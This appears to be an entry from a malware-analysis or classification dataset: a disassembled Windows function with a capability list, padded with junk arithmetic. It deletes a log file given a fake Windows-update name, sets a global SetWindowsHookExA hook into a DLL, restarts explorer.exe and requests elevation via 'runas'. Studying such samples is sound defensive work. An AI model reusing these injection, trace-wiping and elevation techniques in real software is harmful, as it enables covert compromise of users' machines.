Function at 0x411fb0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x106c
call fcn.00430340
mov eax, dword [0x45e640]
mov dword [esp + 0x1068], eax
push ebx
push esi
push edi
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul dword [0x45ccd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
sub eax, esi
imul edx, edx, 0x242
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x38e38e39
imul dword [0x45ccd4]
mov eax, dword [esp + 0xc]
sar edx, 7
add eax, edx
mov ebx, dword [0x45cce8]
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, ecx
imul eax, eax, 0x203
add esi, eax
mov eax, 0x93459be7
imul ecx
mov edi, ebx
add edx, ecx
imul edi, edi, 0x21e
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [ebp + 8]
add esi, edi
cmp eax, 0x132b600
mov dword [esp + 0x14], 0
mov dword [str._r_____r____], esi
je 0x412116
mov ecx, dword [0x45ccd8]
mov eax, 0x4f576647
imul dword [0x45ccdc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov esi, ecx
imul edx, edx, 0x242
imul esi, esi, 0x33a
sub esi, eax
add esi, edx
mov edx, dword [0x45ccd0]
mov eax, 0x59493e15
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x91a2b3c5
imul ecx
mov eax, dword [0x45cce4]
add edx, ecx
sar edx, 7
mov ecx, edx
add esi, edx
shr ecx, 0x1f
add ecx, esi
sub ecx, eax
lea edx, [ecx + edi - 0xe1]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45ccd0], edx
mov esi, 0x64
push 0x3e8
call edi
dec esi
jne 0x4120f7
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fb01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [0x45ccd0]
lea edi, [eax + ecx]
imul edi, edi, 0x1bd
mov eax, 0x4f576647
imul dword [0x45cce4]
sar edx, 8
add edi, edx
mov eax, edx
mov edx, dword [0x45cce0]
shr eax, 0x1f
imul edx, edx, 0x25d
add eax, edi
add eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x38e38e39
imul dword [0x45cce4]
mov eax, dword [esp + 0xc]
sar edx, 7
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x71625345
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45ccdc]
imul eax, eax, 0xe1
add edi, eax
mov eax, dword [section.dfsaewr4]
test eax, eax
mov dword [0x45ccdc], edi
je 0x41222a
mov eax, 0x71625345
imul dword [0x45cce4]
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x7f411e53
imul ecx
sar edx, 8
sub edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x91a2b3c5
imul ecx
mov eax, dword [0x45cce0]
add edx, ecx
imul eax, eax, 0x61
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
add ecx, eax
mov dword [0x45ccc8], ecx
mov eax, 1
mov ecx, dword [esp + 0x1074]
call fcn.0042fb01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd8]
add esi, edx
mov eax, 0x38e38e39
imul esi, esi, 0x242
imul edi
sar edx, 7
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov edx, edi
imul edx, edx, 0x203
add eax, edx
mov esi, eax
mov eax, dword [str._r_____r____]
lea eax, [eax + eax*8]
shl eax, 6
add esi, eax
mov eax, 0xd20d20d3
imul edi
add edx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub esi, eax
lea eax, [esi + edx - 0xe1]
mov dword [0x45ccd4], eax
jmp 0x412290
mov edx, dword [0x45ccd0]
lea eax, [edx + ebx]
mov edx, dword [0x45ccd8]
imul eax, eax, 0x16f
imul edx, edx, 0x25d
add eax, edx
mov edx, dword [0x45ccd4]
imul edx, edx, 0x21e
sub eax, edx
mov dword [esp + 0xc], eax
mov eax, 0x93459be7
imul ebx
mov eax, dword [esp + 0xc]
add edx, ebx
sar edx, 8
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, 0x59493e15
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, edi
imul edx, edx, 0xe1
sub esi, eax
mov eax, dword [ebp + 0x10]
sub esi, edx
test eax, eax
mov dword [0x45cce0], esi
jg 0x412456
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x412456
lea edx, [eax + 1]
mov dword [esp + 0xc], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412318
sub eax, dword [esp + 0xc]
mov dword [esp + 0x10], eax
je 0x412456
mov edi, dword [0x45ccd4]
imul esi, esi, 0x203
imul ebx, ebx, 0x21e
mov eax, 0x71625345
imul edi
sar edx, 8
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0xc], eax
mov eax, 0x38e38e39
imul edi
mov eax, dword [esp + 0xc]
sar edx, 7
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0xe1
sub esi, ebx
add esi, eax
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
sub eax, ecx
mov ecx, dword [ebp + 0x14]
push ecx
add eax, 0x16f
push 0
mov dword [0x45cccc], eax
call fcn.0040efa0
add esp, 8
test eax, eax
mov dword [esp + 0xc], eax
jle 0x412fa8
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45cce4]
lea edi, [edx + eax]
mov eax, 0x4f576647
imul edi, edi, 0x9c
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ccd8]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [esi + esi*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul esi
mov esi, dword [0x45cce8]
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
mov edi, dword [0x45ccdc]
mov dword [0x45cce4], ecx
mov ecx, dword [0x45cccc]
jmp 0x4124d7
mov esi, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
lea ebx, [edx + esi]
imul ebx, ebx, 0x203
mov eax, 0x38e38e39
imul dword [0x45ccc8]
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
lea edx, [esi + esi*8]
shl edx, 6
sub eax, edx
mov ebx, eax
mov eax, 0xd8a5df
imul dword [str._r_____r____]
mov esi, dword [0x45ccc8]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0xe1
sub ebx, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
sar edx, 7
mov esi, edx
add ebx, edx
mov edx, dword [ebp + 0x10]
shr esi, 0x1f
add esi, ebx
mov dword [0x45cce8], esi
mov dword [esp + 0xc], edx
mov eax, 0x4f576647
imul edi, edi, 0x242
imul esi, esi, 0x21e
imul dword [0x45ccd4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
add eax, edi
mov ebx, eax
mov eax, 0x38e38e39
imul dword [0x45ccd4]
sar edx, 7
mov edi, edx
add ebx, edx
mov edx, ecx
imul edx, edx, 0x203
shr edi, 0x1f
add edi, ebx
add edi, esi
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45cce4]
mov eax, 0x71625345
imul ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov esi, ecx
mov ecx, dword [0x45ccd0]
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x7f411e53
imul ecx
sar edx, 8
sub edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr esi, 0x1f
add esi, edi
add esi, edx
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
mov ecx, dword [0x45cce0]
sar edx, 7
imul ecx, ecx, 0x61
mov eax, edx
add esi, edx
mov edx, dword [esp + 0xc]
shr eax, 0x1f
add eax, esi
add eax, ecx
mov dword [0x45ccc8], eax
mov eax, dword [0x5707ec]
mov ecx, dword [ebp + 0xc]
push edx
push eax
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x41303f
mov ecx, dword [0x45ccd8]
mov edi, dword [0x45cce8]
mov eax, 0x4f576647
imul dword [0x45ccdc]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov ebx, ecx
imul edx, edx, 0x242
imul ebx, ebx, 0x33a
sub ebx, eax
mov eax, edi
imul eax, eax, 0x21e
add ebx, edx
mov edx, dword [0x45ccd0]
add ebx, eax
mov eax, 0x59493e15
imul edx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 7
mov esi, edx
shr esi, 0x1f
add ebx, edx
mov edx, dword [0x45cce4]
add esi, ebx
sub esi, edx
sub esi, 0xe1
mov dword [0x5707f0], 1
mov dword [esp + 0xc], 0
jmp 0x4126a0
mov edi, dword [0x45cce8]
mov esi, dword [0x45ccd0]
mov ecx, dword [0x45ccd8]
nop
mov eax, 0x4f576647
imul edi, edi, 0x21e
imul dword [0x45ccdc]
mov ebx, ecx
imul ebx, ebx, 0x33a
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x242
add ebx, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add ebx, edi
mov edi, dword [0x45cce4]
sub ebx, eax
mov eax, 0x91a2b3c5
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
sub ecx, edi
sub ecx, 0xe1
push str.c:WINDoWSKB5445243.log
mov dword [0x45ccd0], ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x41273c
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0xc]
inc eax
cmp eax, 0x12c
mov dword [esp + 0xc], eax
jl 0x41268d
mov eax, dword [0x45ccc8]
mov edi, dword [0x45ccd4]
lea edx, [eax + eax*8]
shl edx, 6
mov ecx, edx
mov esi, dword [0x45cce8]
mov eax, 0x38e38e39
imul edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0xf1d48bd
imul esi
sar edx, 5
add ecx, edx
mov ebx, edx
mov eax, 0x7f411e53
imul esi
sar edx, 8
shr ebx, 0x1f
add ebx, ecx
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45cce0]
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x9c
shr eax, 0x1f
add eax, ebx
add eax, edx
mov edx, esi
imul edx, edx, 0xe1
sub eax, edx
mov dword [0x45ccd8], eax
cmp dword [esp + 0xc], 0x12c
jl 0x4130d5
mov eax, dword [esp + 0x14]
test eax, eax
jne 0x4130d5
mov esi, dword [0x45cccc]
imul ecx, ecx, 0x25d
mov eax, dword [0x45ccd0]
mov edi, dword [0x45cce4]
lea ebx, [eax + esi]
mov eax, 0x4f576647
imul ebx, ebx, 0x1bd
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x38e38e39
imul edi
sar edx, 7
mov ecx, edx
add ebx, edx
mov eax, 0x71625345
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0xe1
shr ecx, 0x1f
add ecx, ebx
sub ecx, eax
push 0x800
lea eax, [esp + 0x74]
add ecx, edx
push eax
mov dword [0x45ccdc], ecx
mov dword [esp + 0x1c], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov eax, dword [0x45ccd8]
lea esi, [edx + ecx]
imul eax, eax, 0x25d
mov edx, dword [0x45ccd4]
imul esi, esi, 0x16f
imul edx, edx, 0x21e
add esi, eax
sub esi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sar edx, 8
mov edi, edx
add esi, edx
mov eax, 0x59493e15
imul ecx
mov ecx, dword [0x45ccdc]
sar edx, 7
imul ecx, ecx, 0xe1
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
lea edx, [esp + 0x70]
add edi, esi
push edx
sub edi, eax
lea eax, [esp + 0x874]
sub edi, ecx
push str._sexplorer.exe
push eax
mov dword [0x45cce0], edi
call fcn.0042fcd1
lea ecx, [esp + 0x87c]
push 0
push ecx
call fcn.0043006d
add esp, 0x14
cmp eax, 0xffffffff
je 0x412ea6
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45cce4]
lea edi, [eax + edx]
mov eax, 0x4f576647
imul edi, edi, 0x9c
imul ecx
sar edx, 8
mov ecx, edx
mov esi, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [0x45ccd8]
mov eax, 0x38e38e39
imul ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [esi + esi*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push str.explorer.exe
mov dword [0x45cce4], ecx
call fcn.00406420
mov ecx, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov esi, dword [0x45ccc8]
lea edi, [edx + ecx]
mov eax, 0x38e38e39
imul edi, edi, 0x203
imul esi
sar edx, 7
mov ebx, edx
add edi, edx
lea eax, [ecx + ecx*8]
mov ecx, dword [str._r_____r____]
shr ebx, 0x1f
shl eax, 6
add ebx, edi
sub ebx, eax
mov eax, 0xd8a5df
imul ecx
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0xe1
sub ebx, ecx
sub ebx, edx
mov eax, 0xd20d20d3
imul esi
add edx, esi
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add esp, 4
add ecx, ebx
mov dword [0x45cce8], ecx
mov dword [esp + 0xc], 5
jmp 0x412a20
mov ecx, dword [0x45cce8]
nop
mov edi, dword [0x45ccd4]
imul ecx, ecx, 0x21e
mov esi, dword [0x45cccc]
mov eax, 0x4f576647
imul edi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0x4f576647
imul esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x38e38e39
imul edi
sar edx, 7
mov eax, esi
imul eax, eax, 0x203
mov edi, edx
add ebx, edx
shr edi, 0x1f
add edi, ebx
add edi, ecx
add edi, eax
mov eax, 0x93459be7
imul esi
add edx, esi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
push str.explorer.exe
mov dword [str._r_____r____], edi
call fcn.00405e10
add esp, 4
test eax, eax
jg 0x412e11
mov ebx, dword [0x45ccd0]
mov eax, 0x71625345
imul dword [0x45cce4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, eax
mov eax, 0xd8a5df
imul ebx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov eax, 0x7f411e53
imul ebx
sar edx, 8
add esi, edx
mov ecx, edx
mov edx, dword [0x45ccc8]
imul edx, edx, 0xe1
shr ecx, 0x1f
add ecx, esi
add ecx, edx
mov eax, 0x91a2b3c5
imul ebx
add edx, ebx
sar edx, 7
add ecx, edx
mov esi, edx
mov edx, dword [0x45cce0]
mov eax, edx
imul edx, edx, 0x203
imul eax, eax, 0x61
shr esi, 0x1f
add esi, ecx
add esi, eax
xor eax, eax
mov dword [esp + 0x10], edx
mov ecx, 0x11
lea edi, [esp + 0x18]
rep stosd dword es:[edi], eax
mov eax, 0x71625345
imul dword [0x45ccd4]
mov eax, dword [esp + 0x10]
sar edx, 8
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x38e38e39
imul dword [0x45ccd4]
sar edx, 7
add edi, edx
mov eax, edx
mov edx, dword [0x45cce4]
mov ecx, dword [0x45cce8]
imul edx, edx, 0xe1
shr eax, 0x1f
imul ecx, ecx, 0x21e
add eax, edi
mov edi, dword [0x45cccc]
add eax, edx
mov edx, dword [0x45cccc]
mov dword [esp + 0x10], eax
mov eax, 0xd20d20d3
imul edx
add edx, edi
mov edi, dword [esp + 0x10]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
mov dword [0x45ccc8], esi
mov dword [esp + 0x18], 0x44
sub eax, edi
mov edx, dword [0x45ccdc]
imul esi, esi, 0x242
mov edi, dword [0x45ccd8]
add eax, 0x16f
imul edi, edi, 0x33a
mov dword [0x45cccc], eax
mov eax, 0x4f576647
imul edx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul ebx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
add edi, esi
mov esi, dword [0x45ccd8]
sub edi, eax
mov eax, 0x91a2b3c5
imul esi
add edx, esi
sar edx, 7
mov eax, edx
add edi, edx
mov edx, dword [0x45cce4]
shr eax, 0x1f
add eax, edi
sub eax, edx
lea ecx, [eax + ecx - 0xe1]
lea edx, [esp + 0x60]
push edx
lea eax, [esp + 0x1c]
push eax
mov dword [0x45ccd0], ecx
lea ecx, [esp + 0x78]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x890]
push edx
push 0
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412cf3
mov edi, dword [0x45ccdc]
mov ecx, dword [str._r_____r____]
mov esi, dword [0x45ccd8]
mov eax, 0x38e38e39
imul edi
lea ebx, [esi + ecx]
imul ebx, ebx, 0x242
sar edx, 7
add ebx, edx
mov eax, edx
shr eax, 0x1f
mov edx, edi
imul edx, edx, 0x203
add eax, ebx
add eax, edx
lea edx, [ecx + ecx*8]
shl edx, 6
add eax, edx
mov ebx, eax
mov eax, 0xd20d20d3
imul edi
add edx, edi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub ebx, eax
lea eax, [ebx + edx - 0xe1]
mov dword [0x45ccd4], eax
jmp 0x412e1d
mov eax, dword [0x45ccc8]
lea ecx, [eax + eax*8]
shl ecx, 6
mov esi, ecx
mov ecx, dword [0x45ccd4]
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xf1d48bd
imul ecx
sar edx, 5
add esi, edx
mov edi, edx
mov eax, 0x7f411e53
imul ecx
imul ecx, ecx, 0xe1
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cce0]
sub edi, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
imul esi, esi, 0x9c
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
push 1
add eax, esi
sub eax, ecx
lea ecx, [esp + 0x74]
push ecx
push 0
lea edx, [esp + 0x87c]
push edx
push str.runas
push 0
mov dword [0x45ccd8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x412f2e
mov ecx, dword [0x45cccc]
mov eax, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [eax + ecx]
mov eax, 0x4f576647
imul edi, edi, 0x1bd
imul esi
sar edx, 8
add edi, edx
mov ebx, edx
mov edx, dword [0x45cce0]
imul edx, edx, 0x25d
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x38e38e39
imul esi
sar edx, 7
add ebx, edx
mov esi, edx
mov eax, 0x71625345
imul ecx
mov ecx, dword [0x45ccdc]
sar edx, 8
imul ecx, ecx, 0xe1
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, ebx
add eax, edx
sub esi, eax
add esi, ecx
mov dword [0x45ccdc], esi
mov esi, dword [0x45ccd8]
mov ecx, dword [str._r_____r____]
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
lea edi, [edx + eax]
mov eax, 0x4f576647
imul edi, edi, 0x9c
imul dword [0x45cce4]
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x38e38e39
imul esi
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
lea edx, [ecx + ecx*8]
shl edx, 6
add edi, edx
mov eax, 0x93459be7
imul esi
add edx, esi
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x59493e15
imul ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
push 0x3e8
mov dword [0x45cce4], ecx
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0xc]
jne 0x412a19
mov edx, dword [0x45ccd8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
lea edi, [edx + ecx]
imul edi, edi, 0x203
mov eax, 0x38e38e39
imul esi
sar edx, 7
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
lea ecx, [ecx + ecx*8]
shl ecx, 6
sub eax, ecx
mov edi, eax
mov ecx, dword [0x45cce4]
mov eax, 0xd8a5df
imul ecx, ecx, 0xe1
imul dword [str._r_____r____]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
sar edx, 7
sub edi, ecx
mov ecx, dword [0x45cccc]
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45ccdc]
mov dword [0x45cce8], ebx
jmp 0x412290
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
mov esi, dword [0x45ccd8]
lea edi, [edx + ecx]
mov edx, dword [0x45ccd4]
imul edi, edi, 0x16f
imul edx, edx, 0x21e
mov eax, esi
imul eax, eax, 0x25d
add edi, eax
sub edi, edx
mov eax, 0x93459be7
imul ecx
add edx, ecx
mov ecx, dword [0x45cccc]
sar edx, 8
add edi, edx
mov ebx, edx
mov eax, 0x59493e15
imul ecx
mov ecx, dword [0x45ccdc]
sar edx, 7
imul ecx, ecx, 0xe1
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, edi
add eax, edx
sub ebx, eax
sub ebx, ecx
mov dword [0x45cce0], ebx
jmp 0x412e17
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd4]
lea edx, [eax + eax*8]
shl edx, 6
mov esi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce8]
sar edx, 7
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0xf1d48bd
imul ecx
sar edx, 5
add esi, edx
mov edi, edx
mov eax, 0x7f411e53
imul ecx
imul ecx, ecx, 0xe1
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45cce0]
sub edi, eax
mov eax, 0xd20d20d3
imul esi
add edx, esi
imul esi, esi, 0x9c
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, esi
sub eax, ecx
mov dword [0x45ccd8], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fb01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce0]
imul esi, esi, 0x203
mov eax, 0x71625345
imul ecx
sar edx, 8
add esi, edx
mov edi, edx
mov eax, 0x38e38e39
imul ecx
mov ecx, dword [0x45cce8]
sar edx, 7
imul ecx, ecx, 0x21e
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0xe1
shr esi, 0x1f
add esi, edi
sub esi, ecx
mov ecx, dword [0x45cccc]
add esi, edx
mov eax, 0xd20d20d3
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0x16f
mov dword [0x45cccc], eax
xor eax, eax
mov ecx, dword [esp + 0x1074]
call fcn.0042fb01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0x4f576647
imul esi, esi, 0x21e
imul edi
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov ebx, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x4f576647
imul ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x242
sub eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x38e38e39
imul edi
mov eax, ecx
sar edx, 7
imul eax, eax, 0x203
mov edi, edx
shr edi, 0x1f
add ebx, edx
add edi, ebx
add edi, esi
add edi, eax
mov eax, 0x93459be7
imul ecx
add edx, ecx
sar edx, 8
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
mov ecx, dword [esp + 0x1074]
mov dword [str._r_____r____], edi
mov eax, 1
call fcn.0042fb01
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret